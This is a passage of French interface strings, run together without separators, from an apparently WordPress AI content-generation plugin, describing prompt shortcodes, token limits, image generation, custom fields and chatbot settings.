assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande d'invite - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Définissez une commande rapide que vous souhaitez envoyer au générateur de texte IA. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel l'IA générera du contenu pour les articles. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Définissez la liste des commandes du Prompt (une par ligne) que vous souhaitez envoyer au générateur de catégories OpenAI. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du prompt- Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes d'invite (une par ligne) que vous souhaitez envoyer au générateur de catégories OpenAI. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande d'invite - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez envoyer à OpenAI pour générer des catégories d'articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez envoyer à OpenAI pour générer des catégories d'articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande d'invite - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez envoyer à OpenAI pour générer des balises de message. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez envoyer à OpenAI pour générer des balises de messages. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande d'invite - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer à OpenAI pour générer des titres d'articles. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera du contenu pour les articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes du Pompt (une sur chaque ligne) que vous souhaitez envoyer au générateur de balises OpenAI. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes d'invite (une sur chaque ligne) que vous souhaitez envoyer au générateur de balises OpenAI. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande d'invite - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer au générateur de texte de titre d'OpenAI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera du contenu pour les articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer à OpenAI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera du contenu pour les articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer à OpenAI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera du contenu pour les articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer au générateur d'images IA. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel le générateur d'images génèrera des images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. La longueur de cette commande ne doit pas être supérieure à 1000 caractères, sinon le plugin la réduira à 1000 caractères. - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Si vous utilisez des images libres de droits comme source, vous pouvez également définir leurs mots-clés ici, si aucun mot-clé n'est défini, ils seront générés automatiquement. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer au générateur d'images IA. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel le générateur d'images génèrera des images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. La longueur de cette commande ne doit pas être supérieure à 1000 caractères, sinon le plugin la réduira à 1000 caractères. - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer au générateur d'images AI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel le générateur d'images génèrera des images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. La longueur de cette commande ne doit pas être supérieure à 1000 caractères, sinon le plugin la réduira à 1000 caractères. - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Si vous utilisez des images libres de droits comme source, vous pouvez également définir leurs mots-clés ici, si aucun mot-clé n'est défini, ils seront générés automatiquement. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer au générateur d'images AI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel le générateur d'images génèrera des images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. La longueur de cette commande ne doit pas être supérieure à 1000 caractères, sinon le plugin la réduira à 1000 caractères. - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définir le paramètre de pénalisation de la fréquence de l'IA de ce formulaire.Définit le nombre maximum de jetons AI de ce formulaire.Définir le paramètre de pénalité de présence de l'IA de ce formulaire.Définissez la température AI de ce formulaire.Définissez le paramètre AI top_p de ce formulaire.Définir la liste des mots interdits qui s'appliquera à toutes les règles du plugin.Définit les champs personnalisés qui seront définis pour les articles générés. La syntaxe de ce champ est la suivante : nom_du_champ_personnalisé1 => valeur_du_champ_personnalisé1, nom_du_champ_personnalisé2 => valeur_du_champ_personnalisé2, ... . Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pouvez également utiliser les shortcodes suivants basés sur les sujets : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%Définissez les champs personnalisés qui seront définis pour les articles générés. La syntaxe de ce champ est la suivante : nom_du_champ_personnalisé1 => valeur_du_champ_personnalisé1, nom_du_champ_personnalisé2 => valeur_du_champ_personnalisé2, ... . Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pouvez également utiliser les shortcodes suivants basés sur les sujets : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Définir les taxonomies personnalisées qui seront définies pour les articles générés. La syntaxe de ce champ est la suivante : custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B ; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B ; ... . Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pouvez également utiliser les shortcodes suivants basés sur les sujets : %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%Définissez les taxonomies personnalisées qui seront définies pour les articles générés. La syntaxe de ce champ est la suivante : custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B ; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B ; ... . Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pouvez également utiliser les shortcodes suivants basés sur les sujets : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Définissez le nombre quotidien de jetons pour les utilisateurs connectés. Les utilisateurs qui ne sont pas connectés ne seront pas autorisés à soumettre le formulaire. Pour désactiver cette fonctionnalité, laissez ce champ vide.Définissez la description de ce formulaire.Définissez le type de champ pour ce champ de saisie.Définit le texte de l'en-tête de la section Q&R (Question Réponse). La valeur par défaut est : Q&RDéfinissez le texte du bouton d’envoi. La valeur par défaut est : Soumettre.Définissez la taille des images générées par l'assistant IA.Définissez l'identifiant du champ de saisie. Ce paramètre est important, car il vous permettra d'obtenir la valeur saisie par les utilisateurs sur le front-end pour ce champ de saisie, en utilisant cet identifiant. Vous pourrez l'utiliser dans le champ de configuration du "Prompt" ci-dessous, dans le format suivant : %%id_you_enter_here%% : %%ID_YOU_ENTER_HERE%%.Définir l'étiquette du champ de saisie (indication textuelle).Définir la langue du contenu créé. Cela permet de définir la valeur du shortcode %%language%%, qui peut être utilisé dans les messages-guides ci-dessous. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définit la hauteur maximale du lecteur en pixels. La valeur par défaut est 380.Définissez la longueur d’entrée maximale des messages utilisateur.Définissez la longueur maximale des légendes dans les messages-guides. Cette fonction est utile lorsque les légendes peuvent être très longues.Définissez le nombre maximum de jetons d'API à utiliser pour chaque demande. Cela définira la longueur de la réponse de l'API qui en résultera. Chaque jeton se compose généralement d'environ 4 caractères. Notez que le nombre de jetons envoyés à l'API en tant qu'invite d'article est également pris en compte dans cette valeur. La valeur maximale pouvant être définie est de 4000 (pour les modèles DaVinci modernes). Pour les autres modèles, le maximum est de 2048.Définissez le nombre maximum de jetons d'API à utiliser pour chaque demande. Cela définira la longueur de la réponse de l'API qui en résultera. Chaque jeton se compose généralement d'environ 4 caractères. Notez que le nombre de jetons envoyés à l'API en tant qu'invite d'article est également pris en compte dans cette valeur. Le nombre maximum de jetons pouvant être défini est de 4000.Définissez le nombre maximum de liens automatiques à ajouter aux articles créés. Vous pouvez également définir des plages personnalisées, comme : 3-5. Veuillez noter que cette fonctionnalité fonctionnera mieux si vous avez déjà un nombre considérable d'articles publiés sur votre site, qui seront utilisés pour les liens internes.Définissez le nombre maximum de liens automatiques à ajouter aux articles créés. Vous pouvez également définir des plages personnalisées, comme : 3-5. Veuillez noter que cette fonctionnalité fonctionnera mieux si vous avez déjà un nombre considérable d'articles publiés sur votre site, qui seront utilisés pour les liens internes. La valeur par défaut de ce champ est 3-5Définissez le nombre maximum de jetons API continus à utiliser pour chaque demande. Cela définira la longueur de la réponse de l'API qui en résultera. Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit plus de données initiales, les résultats seront de meilleure qualité. La quantité maximale pouvant être définie est de 500.Définissez le nombre maximum de jetons API continus à utiliser pour chaque demande. Cela définira la longueur de la réponse de l'API qui en résultera. Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit plus de données initiales, les résultats seront de meilleure qualité. La quantité maximale pouvant être définie est de 2048.Définissez le nombre maximal d'articles à traiter à chaque exécution.Définir le nombre maximum de jetons d'API à utiliser pour chaque demande. Cela définira la longueur de la réponse API résultante. Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit plus de données initiales, les résultats seront de meilleure qualité. La quantité maximale pouvant être définie est de 1000.Définir le nombre maximum de jetons d'API à utiliser pour chaque demande. Cela définira la longueur de la réponse API résultante. Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit plus de données initiales, les résultats seront de meilleure qualité. La quantité maximale pouvant être définie est de 1000.Définissez le nombre maximum de rubriques connexes à ajouter au contenu de l'article créé. Cette fonction utilisera la fonction "People Also Ask" de Google et Bing. Par défaut, le moteur Bing est scrappé, si vous souhaitez activer également le scrappage de Google, ajoutez une clé SerpAPI dans le menu 'Paramètres principaux' du plugin -> 'Clé API SerpAPI'.Définissez le nombre maximum d'images associées à ajouter au contenu de l'article créé. Cette fonctionnalité utilisera les paramètres 'Royalty Free Image' du menu 'Paramètres principaux' du plugin ou si vous avez accès à l'API DallE.Définissez le nombre maximum d'images connexes à ajouter au contenu de l'article créé. Cette fonctionnalité utilisera les paramètres 'Royalty Free Image' dans le menu 'Paramètres principaux' du plugin.'Définissez le nombre maximum d'images associées à ajouter au contenu de l'article créé. Cette fonctionnalité utilisera les sources d'images libres de droits configurées dans le menu "Paramètres principaux" du plugin ou si vous avez accès à l'API DallE.Définissez le nombre maximum de jetons de résultat de l'API à utiliser pour chaque demande. Cela définira la longueur de la réponse de l'API qui en résultera. Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit plus de données initiales, les résultats seront de meilleure qualité. La quantité maximale pouvant être définie est de 2048.Définit le nombre maximum de fois que le plugin va réessayer les appels à l'API en cas d'échec. Ceci est utile, car dans certains cas, l'API OpenAI échoue et une nouvelle tentative fonctionnera. Pour désactiver cette fonctionnalité, laissez ce champ vide.Définit le nombre maximum de fois que le plugin va réessayer les appels à l'API de chat dans le cas où l'auteur de l'IA considère que le chat est terminé. Attention, cela peut consommer plus de tokens, car le plugin relance les appels à l'API plusieurs fois. Pour désactiver cette fonctionnalité, laissez ce champ vide.Définit la largeur maximale du lecteur en pixels. La valeur par défaut est 580.Définir l'article à afficher aux utilisateurs connectés lorsque la limite d'utilisation est atteinte pour les "Restrictions basées sur des règles".Définir l'article à afficher aux utilisateurs connectés lorsque la limite d'utilisation est atteinte.Définir l'article à afficher aux utilisateurs non connectés lorsque la limite d'utilisation est atteinte.Définir l'article à afficher aux utilisateurs restreints.Définir le modèle à utiliser pour la fonction Assistant IA.Définissez le nom de l’IA. Cela sera ajouté à chaque message d’IA. Ceci est utile pour enseigner au chatbot IA son rôle et son nom.Définit le nom de l'IA. Ce nom sera ajouté à chaque message de l'IA. Ceci est utile pour apprendre au chatbot IA son rôle et son nom. Liste des shortcodes pris en charge : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande seed - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Définissez le nom de la commande, qui apparaîtra dans l'éditeur de messages.Définissez le nom du champ personnalisé qui sera attribué aux messages déjà édités. Il peut être utile de modifier ce champ si vous souhaitez rééditer des articles déjà édités. La valeur par défaut est : aiomatic_publishedDéfinissez le nom de l’utilisateur. Cela sera ajouté à chaque message utilisateur. Ceci est utile pour enseigner au chatbot IA son rôle et son nom.Définissez le nombre de vidéos YouTube connexes à ajouter au contenu de l'article créé. Nombre maximal de vidéos pouvant être ajoutées à chaque article : nombre de sectionsDéfinissez le nombre d'images associées à ajouter au contenu de l'article créé. Cette fonctionnalité utilisera les sources d'images libres de droits configurées dans le menu 'Paramètres principaux' du plugin ou si vous avez accès à l'API DallE. Vous pouvez modifier la source d'image dans le champ de 